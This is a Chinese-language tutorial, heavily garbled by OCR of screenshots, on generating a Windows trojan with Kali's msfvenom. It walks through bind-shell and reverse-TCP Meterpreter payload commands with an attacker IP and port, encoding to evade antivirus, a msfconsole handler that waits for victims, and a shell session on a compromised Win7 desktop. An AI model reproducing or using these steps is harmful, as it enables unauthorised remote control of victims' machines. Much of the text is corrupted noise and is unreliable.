利用kali自帶的msfvenom工具生成木馬

什么是msfvenom?msfvenom是msfpayload,msfencode的結(jié)合體，可利用msfvenom生成木馬程序，并在目標(biāo)機(jī)上執(zhí)行，在本地監(jiān)聽(tīng)上線(xiàn)知識(shí)點(diǎn)補(bǔ)充Linux終端輸入netstat-anp查看已使用端口Linux可用端口在1024-65535之間1024以下為系統(tǒng)保留端口UIIJ.ALJ31RLMJ!ILUNIVL'L1L.U7E171UN/口Lbflllunix3[]STREAMCONNECTED19994■#netstat-i&npActiveInternetconnections(serversiandestablished)ProtoR&cv-OLocalAddressForeigfiAddressStatePID/Programgm曉tcp0e127-0.0.1:20150.0.恥0：*LIST0J477/expres5vpndt邙G01妲一1舶一70.17由9犯90..O.0次LISTEN21Wrubytcp&01^70;49478152..255.113:ESTABLISHED2421/git-remote-httudo0宜B.e；-554/dhcuentraw6&74B7/NetworkManage「ActivewixdomainsocketjserversandestabUihed)ProtoRefChtFlagsTypeStateI-NodePID/ProgramnamwPathuniK2[ftCC]STREAMLISTENTMC294731169/gnome-5es5ion-e/tm|>/PICE-unix/1169unix2[ACC]STREAMLISTENING294191278/dbus-daemon@/tmp/dbus-K2wAwt5V07uiiix2[ftCC]STREAMLISTENTHG138611/iRit/var/run/dbus/&ystem_bus_socketunlx2[ACC]STREAMLISTENING192081062/VGAuthService/var/run/ynTwarc/guestServic@Pip@unix2[ftCC]STREAMLISTENING13通41/ioit/run/unidd/requestunix2[ACC]STREAMLISTENING16651487/N&tworkMaiiidger/vdr/run/Nefworklidnager/privaite-cihcpwiK2[ACC]STREAMLISTENTIWi130671/iRit/var/nun/pc^cd/munlx2[ACC]STREAMLISTENINGMG的116'S/Xcirg@/tmp/.Xll-unix/X0uniK2[ACC]STREAMLISTENING200121155/gnonie-keyrirg-/run/user/e/kEyring/controlunix2[ACC]STREAMLISTENING20474116^/gnom&-&essioni-/tmp/.ICE-unix/UBSuniK2[ACC]STREAMLISTENING17114706/gn<?nie-session-b.ICE-unix/706unix2[ACC]STREAMLISTENING205531155/gnome-keyring-/run/ui^r/O/keyrlng/sshunix2[ACC]STREAMLISTENING200791169/Xorg/tmp/.Xll-unix/Xe'undx_2fACC酸Jirfh5：痛■.tkTfiiTi]hT=bTiKMElkIIiTiIE-Uu:JU而?73IiLiKhjL<4--i1.開(kāi)始使用msf環(huán)境：kali2017版kali自帶msf，打開(kāi)終端，輸入msfvenom-h獲取幫助，下面摘抄簡(jiǎn)書(shū)上的一些介紹http://www.jianshu.Com/p/8d3f94390eab首先還是得打開(kāi)pcstgresqIiroDt^kaliservicepostgreeqlstart然后讓我們看看它有哪些功能root^kali:--#msfvenomErrar:HooptionsMs-Fvenofli-aMetasploitstandalonepayloadgeneratorAlsoareplacementforffis-Fpayloadandtrsfencode,□sage:/iisr/bin/nsfvenom(options|<var=val>options;-P，--payload<pay1oad>Payloadtouse.Specifya'-1orstdintouseciiston卬--payload-optionsListthepsyload'sstandardoptions1,-list[type]Listjmodulotype.Optionssrw:encodersrruF，--nop^led<l?ngth>Prependanopsledof[length]51zeontothepayload--format<format>Outputformat(use--help-formatsforslist)-helpformatsListavailableformats-%--eiKoder<encoder>Theencodertouse--arch<arch>Thearchitecturetouse--platform<platf0rm>Thepldtformofthepayload--help-platformsListavailablepLatforms-S>--space<len^th>Themaxinnumsiieoftheresult!ngpayload部分參數(shù)-P選擇一個(gè)載荷，或者說(shuō)一個(gè)模塊吧。-1載荷列表f生成的文件格式Y(jié)編碼方式-i編碼次數(shù)-b在生成的程序中避免出現(xiàn)的值h幫助說(shuō)到文件格式，不同的平臺(tái)需要的不同『來(lái)看看支持生成的格式生成一個(gè)簡(jiǎn)單的木馬心n；io”?.：「r.-，心.,.TmsTuenQE-p歸曲吃/茹Vsh§l1_blnd_t￡p-fRxe-口忡砒/川糜旭腭Noplatformwasselectedrchoasingl*lst::Module::PLatform::WindowsfromthepayloadNoArchselected,selectingArthtx64fromthepayloadNoencoderorbadcharsspecified,outputtingrawpaylcadPayloadsize：565bytesFinalsizeofexefile:7168bytesSavedas:/root/mu[ndrexetoorjJoliu?"恣，解釋?zhuān)簠?shù)-p(playload)第一個(gè)框里的內(nèi)容表示使用x64架構(gòu)tcp協(xié)議的shell_bind類(lèi)型載體，能使用什么樣的playload，往下瀏覽我會(huì)說(shuō)明。-f(filetype)輸出類(lèi)型這里我們生成windows木馬，就用exe格式-o(output)輸出到的位置我們輸出到root根目錄下以muma.exe文件名保存jRcy結(jié)果是生成了一個(gè)muma.exe文件，可以拖到winx64機(jī)器上用，但是目標(biāo)機(jī)器如果有殺毒軟件肯定被秒殺。為此應(yīng)該多次編碼以及加殼除此之外攻擊者不能收到受害機(jī)器的消息，因?yàn)闆](méi)有設(shè)置Host和port，以下圖的形式生成win64muma.exeFinilsizeofexeiile；1196&32bytesl:-i對(duì)倘?pwindows/xbVneterpreterreversetcplho5t=192.16S,70J701叫rt=4444i6-fexe>/root/nLna/winx64muui.exNoplatformwa§selected；choosingHsf:：H（Kule!:Platform：:HindoofronthepayloaaNdArchselected,迥“t地Arch:湖fromthepaylMdNoencodeorbadcharsspecified,oi;tputtingr洲payloadPayloadsize:1189423bytesFinalsizeofexeiile:1196G22bytesrwt&Mius-SKarT解釋?zhuān)簂host填攻擊者iplport填攻擊者主機(jī)可用的端口-i再編碼次數(shù)那么如果該木馬正常運(yùn)行，就會(huì)連接70：4444也就是攻擊者的機(jī)器，攻擊者收到消息就可以控制對(duì)方主機(jī)root^JuliusCaesar:root@JuliusCaesar:-xroot@>JuUus-Caesar:-x使用msfvenom-l|grepx64|grepwindows|greproot^JuliusCaesar:root@JuliusCaesar:-xroot@>JuUus-Caesar:-xroot@Julii^-:*#msfvenom-I|grepx&4|grepwindows|greptcp使用msfvenom-lencoders查看可用編碼模塊注意：X86編碼器編碼出來(lái)的木馬在X64機(jī)器上不能運(yùn)行-snaUestGeneratietlhesnailsstp^ssibl^pavload」h』-mip—號(hào)n的號(hào)^>ogBHMtgJlllillfeK"CM4Br^-*m&fv^non-IothersFraneworklEincbders岫日f(shuō)tankDescrirptiancmd/ecliagaodlEdhaCannadidErvcoderEd加就電袖nualG&nericSHU訥「[砒LwSubstitutl&n(河抓?Encoderond/ifsUmG財(cái)史「Lc$(IF5}Substitutlc^CcirnarMlEncodercmd/perlirxirralPerlCcjfwiMdEmuzoifercind/pDwersliellexcellentPDwersthell血se?4CotinandEikMwond/primtfjphp[nqmanualprintfiUviaPHPmagK_qgt躍UtilityCflimandiE=ncMe「generlt/elcarmanualTheEKAREsieodtfrneneric/noneiwrnalThe-MiiE'Encoderolpsbe/ftytesariftornalByteXJWUlEncKtefnipsbe/lDngxoriKrnalXtfLEncadE-rm略2/時(shí)切時(shí)ri8花。MDfllEMMfeTniipsle/lCingKDr[lurnalXOfiEreaderphp/ba5?i64PHPB5s?64Encoderppc/ltMigxor膈rnalPRCLongXDR.EncodergpUl啷"「_t照noriwlPKL^nflXOftEix^der滬心1邸咐「頃心rnalSPARCDiflDRDXDREncoder赤牌「M「nalXOREncoder藥秘―成mdcklrumanglZuttciDekirux￡4/add_submanualAdd/SubEncoderX跚，alp扁」>lxedlowAlj)h的^IphintfiKirlcMlxedcaseEnc涵rK66/alpiia_uiDperIffH'Alpha2AlptianLnwrLCUppercaseEmctMler孔跚丁avaid_under5ccrfi_tolcwernianiMilAvpIJunderEGorfl/tolcwer■Jrr|■■JJinA辛ftifa■[hi■lB■■■■Jjfl■I年*■>]■■I■—A^ldlulrEZtDL6^erx?6/bloxornwnwlBloXcir-ANetwwWcClockBa觀aXOREncwliarxM/bnppoly^ldtmanualBWPolyglotx￡6/call4dmrdsurmrnalCall4-4&Mi?rdXOREnEOtiler?5?6/CQflteXt_CpUl(lmangl匚刖m他禎同c&r>textKe^ed用機(jī)衍"Em網(wǎng)rxSi/cDntBxt_statmanual5tat[2)-basedCantejctKeyedPayloaidEncader???5/C0ntext~tlrwama傾Itln?(Z)-bBGflidContext晰mjPayloadEncoderr既大sjintdgniwriialSungle-Ib^teKOftCourntdoMnEncwierH?/Tn5tenvnowftornalVsrlabU-l^nathFnstenv/HwDwordXUREmo做r避6/JcalldddltivefKitrialJuoD/t-all對(duì)岳^ditiveFeedbackEncodern映/n的機(jī)ph6lowNon-3ilipliaEmcKfer接上面生成的winx64muma.exe實(shí)際演示最近使用的Home桌面文檔winx64rrijnna.eD(e?O主文件夾muma?將木馬放入受害者機(jī)器切回kali輸入msfconsole京件(F)編輯［日查看(V)搜索餌)終端⑴免晰H)臻nisfconsoleftfttftf冊(cè)踏股mm綿

制慚編*######繃編#帝雅mm簽希帶曲mm善糕蛹

#########折#######^########特辨mm柬糕繇鞘mm希糕般雅##########################/##########耕冊(cè)春######釧##料#料折#########*#########W#######################■IfM>lisg/multi/handlermsfeicplait(handler)>Isetptayloadwindows/meterpreter/reverEetcpplayload=>windows/rreterprei_er/reverseicpmsfexploit(handler)汁睥t(host16耳*79*170Lhost=o192.166,70.170insrexploit(handler)牛睫tIport4444Lportn4444msfexploit])a卯Mil.開(kāi)啟木馬控制第一條指令：使用handler控制模塊第二條指令：設(shè)置playload載體種類(lèi)第三條指令：設(shè)置lhost第四條指令：設(shè)置lport第五條指令：exploit，當(dāng)然是開(kāi)啟監(jiān)聽(tīng)等待中木馬的人上鉤開(kāi)啟監(jiān)聽(tīng)后，受害者點(diǎn)擊該exe，kali內(nèi)將自動(dòng)連接受害者成功了！輸入shell指令即可做你所想之事（受害機(jī)為WIN7系統(tǒng)）V-J■-■■■mete「口「畦己「＞dirListing:C:\Users\AdTiiiiistrator\DesktopModeSizeTypeLastmodifiedName100666/rw-rw-rw-1011fil2017-99-1309:35:5040800360安全衛(wèi)士.Ink109666/rw-rw-rw-1915fil2017-G9-1309:35:514G8G036。安全瀏覽器-Ink166666/rw-rw-rw-2179fil2617-G9-1309:35:514G3O0皿瀏覽器JnK1G0666/?-rw-rw-2333fil2017-09-13ie：Gl:Ql4GS0G祜史字.Ink100666/rw-rw-rw-2333fil2017-09-1310:01:0140300WPS演示,lnk100666/rw-rw-rw-2321fil戲17-09-1310：01：0140000WP5表格.tnfclGG777/rwxrwxrwx59110920fil2017-08-1113tG6:364G8G0Wireshark-win6421.0.exe1169666/rw-rw-rw-16652Qfil2017-09-0715:38:264GB0QXXX.pcspng100777/rwxrwxrwx768。fil2617-09-1310:04:134C3G0□aaa*exe100777/rwxrwxrwx71&0fil2017-09-1399:54:2340300asdexelG06C6/rw-rw-rw-S67809fil2017-G9-0714:39:22+G800旺P代碼和嘵解更軟件打包下載“rar40777/rwxrwxrwxGdir2010-12-2121:56:43+080Qasp右椎加塞I100777/rwxrwxrwx25600fil2001^08-2510:55:34+0300dragon.exeiee666/rw-rw-rw-25169fi